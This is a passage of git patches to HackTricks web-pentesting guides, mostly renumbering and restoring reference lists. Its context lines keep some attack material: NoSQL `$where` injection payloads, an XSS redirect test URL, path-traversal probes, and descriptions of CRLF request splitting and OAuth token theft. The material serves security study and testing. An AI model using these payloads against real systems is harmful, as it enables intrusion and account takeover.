@@ This trick is parser-dependent and only applies when the application assembles J ## Recent CVEs & Real-World Exploits (2023-2025) ### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359 -Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators. +Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.[[6]](#references) ### Mongoose `populate().match` search injection – CVE-2024-53900 & CVE-2025-23061 -If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`. +If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`.[[7]](#references) ```js // Dangerous: attacker controls the full match object Post.find().populate({ path: 'author', match: req.query.author }); ``` -Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping: +Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping:[[9]](#references) ```js mongoose.set('sanitizeFilter', true); @@ -214,7 +214,7 @@ Mitigations: recursively strip keys that start with `$`, map allowed operators e ## MongoDB Payloads -List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)[[11]](#references) ``` true, $where: '1 == 1' @@ -337,13 +337,16 @@ for u in get_usernames(""): ## References -- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) -- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) -- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) -- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) -- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) -- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) -- [https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/) -- [https://mongoosejs.com/docs/6.x/docs/api/mongoose.html](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html) +- [1] [NoSQL, No Injection? – Ron Shulman-Peleg & Bronshtein](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) +- [2] [PayloadsAllTheThings – NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) +- [3] [A NoSQL Injection Primer with Mongo – nullsweep](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) +- [4] [Hacking Node.js and MongoDB – Websecurify Blog](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [5] [NoSQL Error-Based Injection – SensePost](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [6] [CVE-2023-28359 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [7] [Technical Discovery: Mongoose CVE-2025-23061 & CVE-2024-53900 – OPSWAT](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) +- [8] [Getting Rid of Pre and Post Conditions in NoSQL Injections – SensePost](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/) +- [9] [Mongoose v6.x API Docs](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html) +- [10] [RCE in Cockpit CMS via NoSQL Injection – PT SWARM](https://swarm.ptsecurity.com/rce-cockpit-cms/) +- [11] [cr0hn/nosqlinjection_wordlists – MongoDB NoSQLi Payloads](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 134f7d3b707..f465b1ee645 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -62,7 +62,7 @@ Host: socialmedia.com ### Open redirect_uri -Per [RFC 6749 §3.1.2](https://www.rfc-editor.org/rfc/rfc6749#section-3.1.2), the authorization server must redirect the browser only to **pre-registered, exact redirect URIs**. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s `code` (and `state`) straight to an attacker endpoint, who can then redeem it and harvest tokens. +Per [RFC 6749 §3.1.2](https://www.rfc-editor.org/rfc/rfc6749#section-3.1.2), the authorization server must redirect the browser only to **pre-registered, exact redirect URIs**. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s `code` (and `state`) straight to an attacker endpoint, who can then redeem it and harvest tokens.[[5]](#references) Typical attack workflow: @@ -84,7 +84,7 @@ Also review auxiliary redirect-style parameters (`client_uri`, `policy_uri`, `to ### Redirect token leakage on allowlisted domains with attacker-controlled subpaths -Locking `redirect_uri` to “owned/first-party domains” doesn’t help if any allowlisted domain exposes **attacker-controlled paths or execution contexts** (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow **returns tokens in the URL** (query or hash), an attacker can: +Locking `redirect_uri` to “owned/first-party domains” doesn’t help if any allowlisted domain exposes **attacker-controlled paths or execution contexts** (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow **returns tokens in the URL** (query or hash), an attacker can:[[1]](#references) 1. Start a legitimate flow to mint a pre-token (e.g., an `etoken` in a multi-step Accounts Center/FXAuth flow). 2. Send the victim an authorization URL that sets the allowlisted domain as `redirect_uri`/`base_uri` but points `next`/path into an attacker-controlled namespace (e.g., `https://apps.facebook.com/`). @@ -102,7 +102,7 @@ https://accountscenter.facebook.com/profiles//name/?auth_flow=reauth& ### XSS in redirect implementation -As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**. Possible payload to test: +As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**.[[16]](#references) Possible payload to test: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

@@ -110,10 +110,10 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard[[8]](#references) - **Reflecting `error_description` into HTML** without strict output encoding turns the callback into a **trusted-origin phishing page**. Even when ` ### Client-side path traversal / JSON gadget probes -Use these when user-controlled route params, uploaded metadata, or stored JSON blobs are later concatenated into `fetch()` / XHR paths. +Use these when user-controlled route params, uploaded metadata, or stored JSON blobs are later concatenated into `fetch()` / XHR paths.[[4]](#references) ```text ../../admin/users @@ -144,9 +144,9 @@ This is handy when classic `img/onerror` payloads fail but SVG elements or `data ## References -- [https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) -- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die) -- [https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) -- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [1] [Cookie Chaos: How to bypass Host and Secure cookie prefixes - PortSwigger Research](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) +- [2] [HTTP/1 must die - PortSwigger Research](https://portswigger.net/research/http1-must-die) +- [3] [Introducing the URL Validation Bypass Cheat Sheet - PortSwigger Research](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) +- [4] [CSPT via file upload - Doyensec](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) {{#include ../../banners/hacktricks-training.md}} From 8db94d6200b3d8ce44f7b744087c5e95325e55cf Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 12:12:21 +0200 Subject: [PATCH 04/10] Deduplicate References sections after merging master Co-Authored-By: Claude Opus 5 (1M context) --- .../cache-deception/cache-poisoning-via-url-discrepancies.md | 4 ---- src/pentesting-web/http-connection-contamination.md | 4 ---- 2 files changed, 8 deletions(-) diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index f70c474d612..75b4d48f80f 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -53,8 +53,4 @@ Several cache servers will always cache a response if it's identified as static. - [1] [Gotta cache 'em all: bending the rules of web cache exploitation](https://portswigger.net/research/gotta-cache-em-all) -## References - -- [1] [Gotta cache 'em all: bending the rules of web cache exploitation](https://portswigger.net/research/gotta-cache-em-all) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-connection-contamination.md b/src/pentesting-web/http-connection-contamination.md index 622b42912da..19e59246983 100644 --- a/src/pentesting-web/http-connection-contamination.md +++ b/src/pentesting-web/http-connection-contamination.md @@ -24,10 +24,6 @@ Best practices include avoiding first-request routing in reverse proxies and bei ## References -- [1] [HTTP/3 Connection Contamination](https://portswigger.net/research/http-3-connection-contamination) - -## References - - [1] [HTTP/3 connection contamination: an upcoming threat? (James Kettle)](https://portswigger.net/research/http-3-connection-contamination) {{#include ../banners/hacktricks-training.md}} From 27c1367afcc1679841c225bb60f9b5aa894aac84 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 12:30:56 +0200 Subject: [PATCH 05/10] Renumber CRLF desync reference to [23] to avoid collision with PR 2613 --- .../http-request-smuggling/README.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index e216ebe7c97..cfa0d65117f 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -324,20 +324,20 @@ Check how this header can help exploiting a http desync in: ## CRLF-powered request splitting and desynchronization -If attacker-controlled data is URL-decoded before a reverse proxy copies it into an upstream HTTP/1 request, `%0d%0a` stops being just response/header injection and becomes a request-smuggling primitive. A common example is Nginx `proxy_pass http://backend$uri;`, because `$uri` is normalized before the upstream request is constructed. The same sink can hide in regex captures, query parameters, cookie values, or custom upstream headers populated from request data. See also [CRLF (%0D%0A) Injection](../crlf-0d-0a.md).[[22]](#references) +If attacker-controlled data is URL-decoded before a reverse proxy copies it into an upstream HTTP/1 request, `%0d%0a` stops being just response/header injection and becomes a request-smuggling primitive. A common example is Nginx `proxy_pass http://backend$uri;`, because `$uri` is normalized before the upstream request is constructed. The same sink can hide in regex captures, query parameters, cookie values, or custom upstream headers populated from request data. See also [CRLF (%0D%0A) Injection](../crlf-0d-0a.md).[[23]](#references) ### Detection notes -- Prefer payloads that should trigger a **distinct upstream status code** if the injected bytes reached the back end: invalid HTTP version (`505`), unsupported `Transfer-Encoding` (`501`), invalid `Expect` (`417`), or a malformed `Content-Length` (`400`).[[22]](#references) -- If `CRLFCRLF` immediately causes `400` and connection close, do **not** discard the sink yet: some targets still allow **single-header injection**, which is enough for `CL.TE` or request-tunnelling style desyncs.[[22]](#references) -- Do not limit testing to the path. In real targets the vulnerable value may be copied into the upstream request line from a **cookie/session token**, or injected into a **custom upstream header** first and only later broken out into a second request.[[22]](#references) +- Prefer payloads that should trigger a **distinct upstream status code** if the injected bytes reached the back end: invalid HTTP version (`505`), unsupported `Transfer-Encoding` (`501`), invalid `Expect` (`417`), or a malformed `Content-Length` (`400`).[[23]](#references) +- If `CRLFCRLF` immediately causes `400` and connection close, do **not** discard the sink yet: some targets still allow **single-header injection**, which is enough for `CL.TE` or request-tunnelling style desyncs.[[23]](#references) +- Do not limit testing to the path. In real targets the vulnerable value may be copied into the upstream request line from a **cookie/session token**, or injected into a **custom upstream header** first and only later broken out into a second request.[[23]](#references) ### Escalation patterns -- **Request splitting / response queue poisoning:** if two CRLF pairs survive, terminate the first header block and append a complete second request. One front-end request then becomes two back-end requests, shifting the response queue and enabling cross-user response theft, cache poisoning, and sometimes cross-tenant leakage when the smuggled `Host` can be changed on shared CDN infrastructure.[[22]](#references) -- **Single-header fallback -> CRLF-powered `CL.TE`:** if only one injected header survives, add `Transfer-Encoding: chunked` while the front end still honors a normal `Content-Length`. An incomplete chunk is a strong confirmation probe because the back end waits for more body bytes; exploitation is the usual `0\r\n\r\n` pattern that consumes the next request on the reused connection.[[22]](#references) -- **Blind request-tunnelling disclosure with `Expect`:** when the inner request is processed on a private upstream but the response is normally hidden, inject `Expect: 100-continue`. Some Nginx flows relay the unexpected `100 Continue` plus the tunneled response, which also enables bypass of front-end-only ACLs by placing an allowed path in the outer request and a protected path in the inner one.[[22]](#references) -- **Browser-sendable desyncs:** because the control bytes can live in the URL path or POST body instead of forbidden custom headers, many CRLF-powered desyncs are reachable via navigation or `fetch()`, which makes connection-locked and IP-locked variants practical once a server-side sink is confirmed.[[22]](#references) +- **Request splitting / response queue poisoning:** if two CRLF pairs survive, terminate the first header block and append a complete second request. One front-end request then becomes two back-end requests, shifting the response queue and enabling cross-user response theft, cache poisoning, and sometimes cross-tenant leakage when the smuggled `Host` can be changed on shared CDN infrastructure.[[23]](#references) +- **Single-header fallback -> CRLF-powered `CL.TE`:** if only one injected header survives, add `Transfer-Encoding: chunked` while the front end still honors a normal `Content-Length`. An incomplete chunk is a strong confirmation probe because the back end waits for more body bytes; exploitation is the usual `0\r\n\r\n` pattern that consumes the next request on the reused connection.[[23]](#references) +- **Blind request-tunnelling disclosure with `Expect`:** when the inner request is processed on a private upstream but the response is normally hidden, inject `Expect: 100-continue`. Some Nginx flows relay the unexpected `100 Continue` plus the tunneled response, which also enables bypass of front-end-only ACLs by placing an allowed path in the outer request and a protected path in the inner one.[[23]](#references) +- **Browser-sendable desyncs:** because the control bytes can live in the URL path or POST body instead of forbidden custom headers, many CRLF-powered desyncs are reachable via navigation or `fetch()`, which makes connection-locked and IP-locked variants practical once a server-side sink is confirmed.[[23]](#references) ### HTTP Request Smuggling Vulnerability Testing @@ -1055,7 +1055,7 @@ When reviewing caches, confirm that the key includes at least: - [19] [Twisty Python (Werkzeug HTTP request smuggling write-up)](https://mizu.re/post/twisty-python) - [20] [HTTP Request Smuggling + IDOR (hipotermia)](https://hipotermia.pw/bb/http-desync-idor) - [21] [Account takeover via HTTP Request Smuggling (hipotermia)](https://hipotermia.pw/bb/http-desync-account-takeover) -- [22] [PortSwigger Research - CRLF-Powered Desync Attacks: Beheading HTTP Streams](https://portswigger.net/research/crlf-powered-desync-attacks) +- [23] [PortSwigger Research - CRLF-Powered Desync Attacks: Beheading HTTP Streams](https://portswigger.net/research/crlf-powered-desync-attacks) {{#include ../../banners/hacktricks-training.md}} From 05985d1cf754bd42f54c48564b5e4a13ac47dca5 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 12:53:01 +0200 Subject: [PATCH 06/10] References: restore 22 source entries dropped by the audit pass (8 files) --- src/pentesting-web/2fa-bypass.md | 1 + .../browser-extension-pentesting-methodology/README.md | 2 ++ src/pentesting-web/clickjacking.md | 1 + src/pentesting-web/client-side-path-traversal.md | 1 + .../content-security-policy-csp-bypass/README.md | 3 +++ src/pentesting-web/deserialization/README.md | 9 +++++++++ src/pentesting-web/hacking-with-cookies/README.md | 4 ++++ src/pentesting-web/http-response-smuggling-desync.md | 1 + 8 files changed, 22 insertions(+) diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index cc4fa1d24db..79f6450821c 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -126,5 +126,6 @@ In case the OTP is created based on data the user already has or that is sending - [2] [2 Factor Authentication Bypass](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) - [3] [Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) - [4] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) +- [5] [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 2d94c54d69f..d8a2e8673df 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -872,5 +872,7 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu - [12] [An Evaluation of the Google Chrome Extension Security Architecture](http://webblaze.cs.berkeley.edu/papers/Extensions.pdf) - [13] [Universal Code Execution in Browser Extensions](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) - [14] [Opera Browser Zero-Day RCE Vulnerability on Cross-Platforms](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) +- [15] Thanks to [@naivenom](https://twitter.com/naivenom) for the help with this methodology +- [16] [Passbolt PBL-02 security report](https://help.passbolt.com/assets/files/PBL-02-report.pdf) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 5cbadbf2166..3cdf511e690 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -330,5 +330,6 @@ if (top !== self) { - [9] [Clickjacking to Account Takeover via Drag&Drop](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) - [10] [DoubleClickjacking: a New Era of UI Redressing (Paulos Yibelo)](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) - [11] [DoubleClickjacking: Clickjacking on major websites (Security Affairs)](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html) +- [12] [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md index b2fa9870627..e56b2e866ae 100644 --- a/src/pentesting-web/client-side-path-traversal.md +++ b/src/pentesting-web/client-side-path-traversal.md @@ -104,5 +104,6 @@ Dropping a short snippet in DevTools helps surface hidden traversals while you i - [5] [Client-Side Path Manipulation (erasec)](https://erasec.be/blog/client-side-path-manipulation/) - [6] [Practical Client-Side Path Traversal Attacks (mr-medi)](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html) - [7] [CSPT2CSRF (Doyensec)](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) +- [8] [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index ead6c828a2e..61163021d71 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -926,5 +926,8 @@ navigator.credentials.store( - [30] [CSP bypass by rewriting an error page (blog.ssrf.kr)](https://blog.ssrf.kr/69) - [31] [Bypassing CSP via a WordPress SOME attack (octagon.net)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) - [32] [lcamtuf's Postxss – exfiltration techniques under strict CSP](https://lcamtuf.coredump.cx/postxss/) +- [33] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) +- [34] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) +- [35] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 32045c89a72..cb73d93e184 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -1252,5 +1252,14 @@ Industrialized gadget discovery: - [38] [Include Security – Discovering Deserialization Gadget Chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/) - [39] [GitHub Security Lab – Ruby Unsafe Deserialization (CodeQL query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/) - [40] [GitHub Security Lab – Ruby Unsafe Deserialization PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization) +- [41] [OWASP Deserialization Cheat Sheet - .NET/C#](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) +- [42] [Phrack #69 - Rails 3/4 Marshal chain](https://phrack.org/issues/69/12.html) +- [43] [CVE-2019-5420 (Rails 5.2 insecure deserialization)](https://nvd.nist.gov/vuln/detail/CVE-2019-5420) +- [44] [ZDI - RCE via Ruby on Rails Active Storage insecure deserialization](https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization) +- [45] [Doyensec PR - Ruby 3.4 gadget](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1) +- [46] [Luke Jahnke - Ruby 3.4 universal chain](https://nastystereo.com/security/ruby-3.4-deserialization.html) +- [47] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html) +- [48] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1) +- [49] [Ruby fix PR #12444](https://github.com/ruby/ruby/pull/12444) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 609e37dc2f9..8c4a95eff8a 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -489,6 +489,10 @@ python3 forge_cookie.py --target --context both --user admin - [12] [Rapid7 PoC for CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257) - [13] [PortSwigger Research - Stealing HttpOnly cookies with the Cookie Sandwich technique](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) - [14] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (USENIX Security '23 paper)](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf) +- [15] [Same-Site Cookie Attribute – Prevent Cross-Site Request Forgery](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) +- [16] [Promiscuous cookies and their impending death via the SameSite policy](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/) +- [17] [Bypass HttpOnly via PHP info page](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/) +- [18] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (talk)](https://www.youtube.com/watch?v=F_wAzF4a7Xg) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index 4b2f4111d82..1ef6f041ef0 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -183,5 +183,6 @@ From an offensive point of view, this means it is worth testing **legacy methods - [1] [PortSwigger - Making desync attacks easy with TRACE](https://portswigger.net/research/trace-desync-attack) - [2] [USENIX Security 2025 - The Silent Danger in HTTP: Identifying HTTP Desync Vulnerabilities with Gray-box Testing](https://www.usenix.org/system/files/usenixsecurity25-mu.pdf) +- [3] [DEF CON 29 - Martin Doyhenard - Response Smuggling: Pwning HTTP/1.1 Connections](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s) {{#include ../banners/hacktricks-training.md}} From 7c9b34b3b247c9dbe5ccd98f472c9f88fc09ef3a Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 13:07:44 +0200 Subject: [PATCH 07/10] References: cite already-listed sources on the lines that mention them (20 citations) --- src/pentesting-web/cache-deception/README.md | 4 ++-- .../content-security-policy-csp-bypass/README.md | 2 +- src/pentesting-web/deserialization/README.md | 8 ++++---- src/pentesting-web/grpc-web-pentest.md | 4 ++-- src/pentesting-web/h2c-smuggling.md | 2 +- src/pentesting-web/hacking-jwt-json-web-tokens.md | 2 +- src/pentesting-web/hacking-with-cookies/README.md | 8 ++++---- src/pentesting-web/http-request-smuggling/README.md | 2 +- .../browser-http-request-smuggling.md | 4 ++-- src/pentesting-web/http-response-smuggling-desync.md | 2 +- src/pentesting-web/oauth-to-account-takeover.md | 2 +- 11 files changed, 20 insertions(+), 20 deletions(-) diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 4936fb87045..2ddf1bf2099 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -187,7 +187,7 @@ cache-poisoning-to-dos.md ### Cache poisoning through CDNs -In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario: +In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:[[4]](#references) - The CDN will cache anything under `/share/` - The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` @@ -371,7 +371,7 @@ Other things to test: - _www.example.com/profile.php/%2e%2e/test.js_ - _Use lesser known extensions such as_ `.avif`[[6]](#references) -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).[[3]](#references)\ In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.[[3]](#references) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 61163021d71..2f0abdd7106 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -560,7 +560,7 @@ You can bypass this CSP by exfiltrating the data via images (in this occasion th ``` -From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) +From: 